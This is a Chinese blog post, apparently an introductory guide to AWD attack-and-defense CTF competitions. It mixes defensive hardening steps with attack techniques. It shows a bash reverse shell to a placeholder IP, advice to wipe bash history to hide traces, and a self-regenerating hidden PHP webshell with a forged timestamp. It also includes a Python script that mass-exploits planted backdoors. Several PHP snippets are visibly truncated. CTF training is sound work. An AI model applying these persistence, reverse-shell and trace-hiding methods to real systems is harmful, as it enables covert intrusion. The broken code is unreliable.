发布于2026-07-22 阅读(0)
扫一扫,手机访问
AWD赛制,全称Attack With Defense,是网络安全竞赛里最考验真功夫的玩法之一。简单说,它把真实网络里的防护设备、配置抽象成一个封闭的对抗环境,模拟企业或院校的典型网络拓扑,让参赛队伍一边攻一边守,既要渗透别人,还得防住自己。这种赛制最大的特点就是实战、实时、对抗——不拼理论,拼手速和策略。今天咱们就来聊聊AWD比赛里那些避不开的关键步骤。
比赛一开场,你手头就会分配到一台甚至好几台靶机,主办方通常会给你SSH用户名、密码和虚拟IP。连上靶机之后,第一件事可不是急着去攻击,而是先把自家阵地扎稳。强烈推荐Xshell搭配Xftp,连上后先做下面几件事。

第一件事,dump网站源码。用SSH工具把整个网站源码拷下来,至少复制两份,然后拿D盾扫一遍。为什么?因为对手可能直接删掉你的源码让靶机宕机,而且主办方经常在源码里留后门——你扫出来,既能修复自家漏洞,又能拿来当武器去打别人。
登录数据库,立刻备份。万一数据被删了,可以秒级恢复。
mysqldump -u db_user -p db_passwd db_name > 1.sql //备份指定数据库
还原命令:
mysql -u db_user -p db_passwd db_name < 1.sql //还原指定数据库
主办方给的密码往往很弱,极有可能被对手抢先登录搞破坏。所以快速改掉弱口令是保命操作。
Linux修改SSH及本地密码:
passwd
修改MySQL登录密码:
mysql>set password for root@localhost =password('xino');
端口越多,漏洞入口越多。果断关掉不需要的服务,减少暴露面。

WAF(Web应用防火墙)能帮你分析流量,别人攻击你的时候,你就能看到他们的攻击手法。没有攻击思路?那就从流量里学,顺便反打回去。部署方式很简单:
在每个PHP文件开头加上:
require_once(waf.php);
更省事的方法是在php.ini里配置自动包含:
auto_prepend_file=;
自家阵地稳了,确认没有明显漏洞之后,就可以开始打别人了。
如果发现靶机存在弱口令,直接遍历IP段,找出存活机器,连接上去找FLAG,或者植入后门文件保持控制。
靶机里通常会有主办方留下的后门木马,知道路径后写个脚本批量连接,拿FLAG效率极高。
扫C段存活主机,快速摸清敌情。
.\nmap xxx.xxx.xxx.xxx/24
把结果保存成TXT文件,方便后续写脚本定点打击。

常见的攻击方式就那么几种,但实战中组合起来就很要命:
文件读取:用伪协议直接读flag
文件上传:绕过黑白名单上传一句话木马,连上工具查flag
命令执行:通过system等函数遍历文件系统
SQL注入:找注入点,注出flag
找到漏洞后,第一时间写自动化脚本批量提交flag,别手动一个个点,浪费机会。然后继续找下一个漏洞。
AWD是回合制,要想持续上分,就得长期控制别人的靶机。植入木马是常规操作,但得隐蔽,下面几个小技巧值得记住。
利用预留后门上传PHP文件并访问,然后用nc反弹shell:
bash -i >& /dev/tcp/xx.xxx.xxx.xxx/9 0>&1 nc -l -p 8080

注意: bash命令会在root目录下生成~/.bash_history记录文件,必须清除掉,不然会暴露痕迹。
一个经典的不死马脚本,上传并访问后,会在路径下循环生成隐藏的.config.php文件,实现持久化控制。
';
//pass=pass
while (1){
file_put_contents($file,$code);
system('touch -m -d "2020-10-21 04:17:18" .config.php');
usleep(5000);
}
?>
比赛中几十台靶机,手动操作太慢,必须用脚本批量提交。这里给两个常用脚本的例子,可以根据实际环境调整:
预留后门利用脚本(Python):
import requests
url_head="http://xxx.xx.xxx." #网段
url=""
shell_addr="/Upload/index.php"
passwd="xxxxx" #木马密码
port="80"
payload = {passwd: 'system('cat /flag');'}
webshelllist=open("webshelllist.txt","w")
flag=open("firstround_flag.txt","w")
for i in range(30,61):
url=url_head+str(i)+":"+port+shell_addr
try:
res=requests.post(url,payload,timeout=1)
if res.status_code == requests.codes.ok:
result = url+" connect shell sucess,flag is "+res.text
print result
print >>flag,result
print >>webshelllist,url+","+passwd
else:
print "shell 404"
except:
print url+" connect shell fail"
webshelllist.close()
flag.close()
批量提交flag脚本(需根据规则修改):
import sys import json import urllib import httplib server_host = ' ' #提交flag的服务器地址 server_port = 80 def submit(team_token, flag, host=server_host, port=server_port, timeout=5): if not team_token or not flag: raise Exception('team token or flag wrong') conn = httplib.HTTPConnection(host, port, timeout=timeout) params = urllib.urlencode({ #提交需要post的参数,根据情况修改 'token': team_token, 'flag': flag, }) headers = { "Content-type": "application/x-www-form-urlencode" } conn.request('POST', '[submit_flag_dir]', params, headers) #第二个参数为提交flag的目录 response = conn.getresponse() data = response.read() return json.loads(data) if __name__ == '__main__': if len(sys.argv) < 3: print 'usage: ./submitflag.py [team_token] [flag]' sys.exit() host = server_host if len(sys.argv) > 3: host = sys.argv[3] print json.dumps(submit(sys.argv[1], sys.argv[2], host=host), indent=4)
攻击和防御是硬币的两面。前面已经讲了不少防御技巧,比如改弱口令、部署WAF,这里再补充几个常用命令和思路。
查找flag位置:
find / -name *flag*
查找password:
find .|xargs grep "password"
查看已建立的连接和进程:
netstat -antulp | grep EST
结束进程:
kill PID killall <进程名>
检测TCP连接数量:
netstat -ant|awk |grep |sed -e -e |sort|uniq -c|sort -rn
chattr命令防止关键文件被修改:
chattr +i /etc/resolv.conf
流量监控: 别人访问你靶机时,请求的URL可能就是攻击payload。记录下这些流量,就能反打回去。一个简单的PHP监控脚本如下:
'.'访问链接:'.'http://'.$ip.$filename.'?'.$parameter."\r\n";
// log记录
$fh = fopen("log.txt", "a");
fwrite($fh, $logadd);
fclose($fh);
?>
AWD是CTF里最见真章的赛制,今天分享的这些入门知识点,从站点部署到攻击防御,再到脚本化提交,基本覆盖了比赛中的常见场景。当然,实战中情况千变万化,多练、多复盘,手感自然就来了。希望这篇内容能帮你少走些弯路。
售后无忧
立即购买>office旗舰店
售后无忧
立即购买>office旗舰店
售后无忧
立即购买>office旗舰店
售后无忧
立即购买>office旗舰店
正版软件
正版软件
正版软件
正版软件
正版软件
1
2
3
7
8